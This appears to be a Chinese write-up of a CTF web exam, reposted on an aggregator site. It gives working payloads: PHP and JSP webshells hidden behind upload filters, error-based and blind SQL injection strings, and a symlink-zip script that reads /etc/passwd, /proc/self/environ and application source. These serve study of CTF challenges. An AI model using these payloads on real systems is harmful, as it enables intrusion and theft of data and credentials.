期中考核复现

news2024/11/18 15:48:11

web

1z_php

?0o0[]=1A&OoO[]=2023a

include "flag.php":尝试包含名为 "flag.php" 的文件。这意味着它会尝试引入一个名为 "flag.php" 的脚本文件,其中可能包含一些敏感信息或标志。

error_reporting(0):设置错误报告级别为 0,即禁用错误报告。这样做可能是为了隐藏潜在的错误信息。

isset($_GET['OoO']):检查是否存在名为 "OoO" 的 GET 请求参数。

isset($_GET['0o0']):检查是否存在名为 "0o0" 的 GET 请求参数。

$_GET['OoO']==2023:检查名为 "OoO" 的 GET 请求参数的值是否等于 2023。

intval($_GET['OoO'][0])==2023:将名为 "OoO" 的 GET 请求参数的第一个字符转换为整数,并检查是否等于 2023。

$_GET['0o0']==$_GET['OoO']:检查名为 "0o0" 的 GET 请求参数的值是否等于名为 "OoO" 的 GET 请求参数的值。

md5($_GET['0o0'])==md5($_GET['OoO']):对名为 "0o0" 和 "OoO" 的 GET 请求参数的值分别进行 MD5 哈希,并检查它们的哈希值是否相等。

!(!(include"flag.php")||(!error_reporting(0))||!isset($_GET['OoO'])||!isset($_GET['0o0'])||($_GET['OoO']==2023)||!(intval($_GET['OoO'][0])==2023)||$_GET['0o0']==$_GET['OoO']||!(md5($_GET['0o0'])==md5($_GET['OoO']))):这是一个逻辑表达式,用于检查多个条件是否为假(即不存在)。如果所有条件均为假,即没有任何条件得到满足,则表示用户提供的输入不符合要求。

? $flag : str_repeat(highlight_file(__FILE__), 0):这是一个三元运算符,根据前面的逻辑表达式的结果进行选择:

  • 如果逻辑表达式的结果为真(即用户提供的输入符合要求),则返回变量 $flag 的值。
  • 如果逻辑表达式的结果为假(即用户提供的输入不符合要求),则返回 highlight_file(__FILE__) 的结果,即将当前脚本文件的内容作为 HTML 高亮代码显示出来。

?0o0[]=1A&OoO[]=2023a

 1z_upload

先用bp爆破出用户密码

admin/admin12345

 文件上传

源码中

if (isset($_FILES['image']) && $_FILES['image']['name'] != "") {

    $image = $_FILES['image']['name'];
    $ext = pathinfo($image, PATHINFO_EXTENSION);

    if (strtolower($ext) == 'jpg') {
        $image = $_FILES['image']['name'];

        $image_content = file_get_contents($_FILES['image']['tmp_name']);
        $search_patterns = ['/\$_POST/i', '/\$_GET/i', '/eval/i', '/\?php/i'];
        foreach ($search_patterns as $pattern) {
            if (preg_match($pattern, $image_content)) {

                header("Location: admin_get_hack.php?id=666");
                exit();
            }
        }
        $directory_self = str_replace(basename($_SERVER['PHP_SELF']), '', $_SERVER['PHP_SELF']);
        $uploadDirectory = $_SERVER['DOCUMENT_ROOT'] . $directory_self . "bootstrap/img/";
        $uploadDirectory .= $image;
        move_uploaded_file($_FILES['image']['tmp_name'], $uploadDirectory);
    }
    else {
        header("Location: admin_get_hack.php?id=6");
        exit();
    }
}

        $query = "INSERT INTO books (`book_isbn`, `book_title`, `book_author`, `book_image`, `book_descr`, `book_price`, `publisherid`) VALUES ('" . $isbn . "', '" . $title . "', '" . $author . "', '" . $image . "', '" . $descr . "', '" . $price . "', '" . $publisherid . "')";
        $result = mysqli_query($conn, $query);
        if($result){
            $_SESSION['book_success'] = "New Book has been added successfully";
            header("Location: admin_book.php");
        } else {
            $err =  "Can't add new data " . mysqli_error($conn);

        }
    }

 要绕过正则匹配的post,get,eval,?php,这几个,是内容检查,还有后缀检查要是jpg

用request传参

GIF89a?
<script language='php'>@assert($_REQUEST['abc']);</script>

 成功上传文件

 根据所给的源码可以知道文件路径

admin_baohan.php?file=./bootstrap/img/haha.jpg

POST:bthcls=var_dump(file_get_contents('./flag.php'));

最后得到flag

签到O.o?

先弱口令爆破账户密码:manager/1q2w3e4r

jsp木马

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("1234");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

 要求上传war文件,先写好jsp木马,然后将jsp文件压缩为zip,最后将zip文件的后缀名改为war,上传的文件为war文件

http://192.168.31.60:8081/haha/haha.jsp

蚁剑连接

找到flag

1z_sql

 bp抓包爆破

 账户密码:admin/8888888

 

 ua头报错注入

1',2,(extractvalue(1,concat(0x5c,database(),0x5c))))#

1',2,(extractvalue(1,concat(0x5c,(select group_concat(table_name) from
information_schema.tables where table_schema like "kind"),0x5c))))#
1',2,(extractvalue(1,concat(0x5c,(select group_concat(column_name) from
information_schema.columns where table_schema like "kind" && table_name like
"sheet1"),0x5c))))#

1',2,(extractvalue(1,concat(0x5c,(select group_concat(username,password) from
kind.sheet1),0x5c))))#

1',2,(extractvalue(1,concat(0x5c,left((select
right(group_concat(username,password),33) from kind.sheet1),0x5c),10))))#
1',2,(extractvalue(1,concat(0x5c,left((select
right(group_concat(username,password),10) from kind.sheet1),0x5c),10))))#

 拼接flag

Yunxi{cb0fb8571956248eb37e8b0007572519}

1z_Sql2.0

输入:'or(1<>1)#

输入:'or(length(database())>10)#

无论输入什么,都返回NoNoNo!

爆破表和字段

'or(length((select(group_concat(password))from(yunxi_exam.users)))>0)#

 拿到的提示也没用

爆数据库

(查询当前数据库的名称,并将其倒序输出,取其中第10个字符的 ASCII 码值进行比较)

 'or(ord(substr(reverse(substr(database() from 1)) from 10))<>121)#

  • DATABASE() 函数:用于返回当前数据库的名称。
  • SUBSTR() 函数:用于截取字符串的一部分。
  • REVERSE() 函数:用于将字符串反转。
  • ORD() 函数:用于返回给定字符的 ASCII 码值。

查询 yunxi_exam 数据库中的 bighacker2 表,并获取其中名为 hack123 的字段的所有数据:

 'or(ord(substr(reverse(substr((select(group_concat(hack123))from(yunxi_exam.bighacke
r2))from(1)))from(52)))<>87)#

  • SUBSTR() 函数:用于截取字符串的一部分。
  • REVERSE() 函数:用于将字符串反转。
  • GROUP_CONCAT() 函数:用于将多个行合并为一个字符串,通常用于将查询结果中多个字段合并成一个。
  • ORD() 函数:用于返回给定字符的 ASCII 码值。

1z_flask 

这一题主要考查软连接

 要求上传zip,然后制作软链接读取etc/passwd文件

ln -s /etc/passwd passwd 

zip -y passwd.zip passwd

上传zip,得到

成功被执行,制作读取/flag的软连接,但是未能得到回显
猜测可能是test用户权限的问题,尝试以admin用户登录

因为可以实现任意账号密码登陆,猜测可能没有数据库,而是通过Cookie判断,使用test用户登陆,查看Cookie

session:"eyJ1c2VybmFtZSI6InRlc3QifQ.GBLRNQ.edinN7_CPSFgU_fUl_HRVgtHLmQ"

很有可能是Flask的框架,尝试使用Session解密脚本:

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)


if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

 

可以初步判断是以Session判断是否是admin用户,但伪造session还需要Flask的SECRET_KEY值。
因为已经通过软连接读取任意文件,可以通过读取/proc/self/environ文件,以获取当前进程的环境变量列表。
其中/proc是虚拟文件系统,存储当前运行状态的一些特殊文件,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,而environ是当前进程的环境变量列表。

制作读取该文件的软连接:

ln -s /proc/self/environ environ
zip -y environ.zip environ

 上传文件

 发现其存在UWSGI_INI=/app/uwsgi.ini,也就是uwsgi服务器的配置文件,其中可能包含有源码路径,同样的方式制作软连接读取,在后续查阅大佬wp时,发现了软链接读取文件的EXP

uWSGI是一个Web应用服务器,它具有应用服务器,代理,进程管理及应用监控等功能。它支持WSGI协议,同时它也支持自有的uWSGI协议

 发现其存在UWSGI_INI=/app/uwsgi.ini,也就是uwsgi服务器的配置文件,其中可能包含有源码路径,同样的方式制作软连接读取


在 uWSGI 中,module 是一个配置选项,用于指定要加载的 Python 模块。该模块包含了 uWSGI 服务器要运行的应用程序的代码

 /app/uwsgi.ini里面找到了这个语句,他是加载了hard_t0_guess_bthclsbthcls.python_flask_edited_by_bthcls的这个python模块

那他的源码路径就是/app/hard_t0_guess_bthclsbthcls/bthcls.py

运行脚本得到flag

import os
import requests
import sys


def make_zip():
    os.system('ln -s ' + sys.argv[2] + ' test_exp')
    os.system('zip -y test_exp.zip test_exp')


def run():
    make_zip()
    res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
    print(res.text)

    os.system('rm -rf test_exp')
    os.system('rm -rf test_exp.zip')


if __name__ == '__main__':
    run()
python3 python.py http://192.168.31.60:8084/upl0ad /app/hard_t0_guess_bthclsbthcls/bthcls.py

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1129190.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python中使用cv2.resize()函数批量自定义缩放图像尺寸

目录 常用插值缩放方法缩放示例代码总结 常用插值缩放方法 cv2.resize()函数中的interpolation参数指定了图像缩放时使用的插值方法。以下是常用的插值方法&#xff1a; cv2.INTER_NEAREST&#xff1a;最近邻插值。该方法通过选择最接近目标像素的原始像素来进行插值。它是最…

javaEE -8(9000字详解网络编程)

一&#xff1a;网络编程基础 1.1 网络资源 所谓的网络资源&#xff0c;其实就是在网络中可以获取的各种数据资源&#xff0c;而所有的网络资源&#xff0c;都是通过网络编程来进行数据传输的。 用户在浏览器中&#xff0c;打开在线视频网站&#xff0c;如优酷看视频&#xff…

管理类联考——英语二——阅读篇——题材:环保

文章目录 环保2017 年&#xff0c;Text 4——题材&#xff1a;环保-社会细节题-第一步定位&#xff1b;第二步原文复现细节题-推理细节题-人物观点细节题-原因-原词重现&#xff0c;同义替换细节题-人物观点-排除法 2019 年&#xff0c;Text 4——题材&#xff1a;社会-环保细节…

智慧公厕建设方案 - 点击进入

随着城市化进程的不断推进&#xff0c;传统公共厕所的管理问题变得越来越突出。封闭空间、脏乱差的环境以及管理不善所带来的恶臭和卫生问题&#xff0c;成为城市居民心中的痛点。为了解决这一问题&#xff0c;广州中期科技有限公司全新推出了智慧公厕建设方案&#xff0c;以引…

IDEA配置HTML和Thymeleaf热部署开发

IDEA配置HTML和Thymeleaf热部署开发 1.项目配置2. IDEA配置3. 使用 需求&#xff1a;现在我们在开发不分离项目的时候&#xff08;SpringBootThmeleaf&#xff09;经常会改动了类或者静态html文件就需要重启一下服务器&#xff0c; 这样不仅时间开销很大&#xff0c;而且经常重…

云数据库及RDS数据库介绍

1.云数据库概念 云数据库是指被优化或部署到一个虚拟计算环境中的数据库&#xff0c;具有按需付费、按需扩展、高可用性以及存储整合等能力。 2.云数据库特性 云数据库的特性有&#xff1a;实例创建快速、支持只读实例、读写分离、故障自动切换、数据备份、Binlog备份、SQL审…

基于OFDM的通信系统模拟实现

文章目录 前言一、OFDM 基本知识1、OFDM 理论知识及仿真2、OFDM 调制3、OFDM 解调 二、2ASK&#xff08;二进制振幅键控&#xff09;1、2ASK 基本原理①、OOK②、2ASK 2、2ASK/OOK 信号产生方法3、2ASK/OOK 信号解调方法 三、基于 OFDM 的通信系统模拟实现1、整体流程2、MATLAB…

力扣-python-两数相加

题解 1: # Definition for singly-linked list. # class ListNode(object): # def __init__(self, val0, nextNone): # self.val val # self.next nextclass Solution(object):def addTwoNumbers(self, l1, l2):""":type l1: ListNode:t…

数据结构:阶段测试(查漏补缺)

目录 选择题&#xff1a; 题一&#xff1a; 题二&#xff1a; 题三&#xff1a; 题四&#xff1a; 编程题&#xff1a; 题一&#xff1a;左叶子之和 思路一&#xff1a; 题二&#xff1a;约瑟夫问题&#xff08;用单链表实现&#xff09; 思路一&#xff1a; 本人实…

Redis设计与实现(3)字典

Redis的字典使用哈希表作为底层实现&#xff0c;一个哈希表里面可以有多个哈希表节点&#xff0c;而每一个哈希表节点就保存了字典中的一个键值对 redis字典所使用的哈希表由dict.h/dictht typedef struct dictht{//哈希表数组dictEntry **table;//哈希表大小unsigned long si…

【MATLAB源码-第56期】基于WOA白鲸优化算法和PSO粒子群优化算法的三维路径规划对比。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 1.粒子群算法&#xff08;Particle Swarm Optimization&#xff0c;简称PSO&#xff09;是一种模拟鸟群觅食行为的启发式优化方法。以下是其详细描述&#xff1a; 基本思想&#xff1a; 鸟群在寻找食物时&#xff0c;每只鸟都…

Unity游戏开发中打造游戏攻击技能架构与设计

一、技能系统的设计 在 MOBA 游戏中&#xff0c;每个英雄角色都会有多个技能&#xff0c;这些技能可以分为普通攻击和技能攻击两种。普通攻击是英雄角色的基本攻击方式&#xff0c;而技能攻击则需要消耗一定的资源&#xff08;如蓝量&#xff09;才能使用。在设计技能系统时&a…

《数字图像处理》作业一:题目+学习笔记

Hi,学习进步,共同加油💪 1、选择题 (每小题3分,总计24分) (1)下列哪种图像属于数字图像( ) A、电影胶片;B、普通照片;C、手机拍照;D、眼前看到的景物 数字图像是由离散的像素点组成的图像,可以通过数值表示。根据选项,可以排除A(电影胶片)和B(普通…

【力扣刷题】删除链表的倒数第 N 个结点、两两交换链表中的节点、随机链表的复制

&#x1f40c;个人主页&#xff1a; &#x1f40c; 叶落闲庭 &#x1f4a8;我的专栏&#xff1a;&#x1f4a8; c语言 数据结构 javaEE 操作系统 Redis 石可破也&#xff0c;而不可夺坚&#xff1b;丹可磨也&#xff0c;而不可夺赤。 刷题篇 一、删除链表的倒数第 N 个结点1.1 …

一起学数据结构(12)——归并排序的实现

1. 归并排序原理&#xff1a; 归并排序的大概原理如下图所示&#xff1a; 从图中可以看出&#xff0c;归并排序的整体思路就是把已给数组不断分成左右两个区间&#xff0c;当这个区间中的数据数量到达一定数值时&#xff0c;便返回去进行排序&#xff0c;整体的结构类似二叉树…

【Master公式】对于这一类符合的递归可以直接确定时间复杂度

Master公式 T(N) a T(N/b) O(N^d) 对于这一类符合的递归可以直接确定时间复杂度 a,b,c为常数 1、子问题调用了a次 2、子问题的规模一致&#xff0c;N/b指每个子问题处理总规模/b个规模&#xff08;只看规模&#xff0c;常数个忽略&#xff0c;如L,mid,mid1,R&#xff09; 3、…

【Airflow】构建爬虫任务系统

爬虫脚本太多了需要进行管理一下&#xff0c;领导决定使用airflow 我了解了一下这个平台是用来做任务调度。 是一个ETL工具 ETL是将业务系统的数据经过抽取、清洗转换之后加载到数据仓库的过程 这里是一个github的地址 https://github.com/apache/airflow 这里是官方文档 http…

手机桌面待办事项APP推荐

每天&#xff0c;我们每个人都面临着繁琐的事务和任务&#xff0c;而手机成了我们日常生活中不可或缺的伙伴。手机上的待办事项工具像一个可靠的助手&#xff0c;可以帮助我们更好地记录、管理和完成任务。在手机桌面上使用的待办事项APP推荐用哪一个呢&#xff1f; 手机是我们…

【QT】信号和槽

一、前置示例代码 main.cpp #include "widget.h"#include <QApplication>int main(int argc, char *argv[]) {QApplication a(argc, argv); // 应用程序对象a&#xff0c;在Qt中&#xff0c;应用程序对象&#xff0c;有且仅有一个。Widget w; // 窗口对…

python sqlalchemy(ORM)- 02 表关系

文章目录 表关系ORM表示 1v1ORM表示 1vm 表关系 1:1&#xff0c;表A 中的一条记录&#xff0c;仅对应表B中的一条记录&#xff1b;表B的一条记录&#xff0c;仅对应表A的一条记录。1:m&#xff0c;表A中的一条记录&#xff0c;对应表B中的多条记录&#xff0c;表B中的一条记录…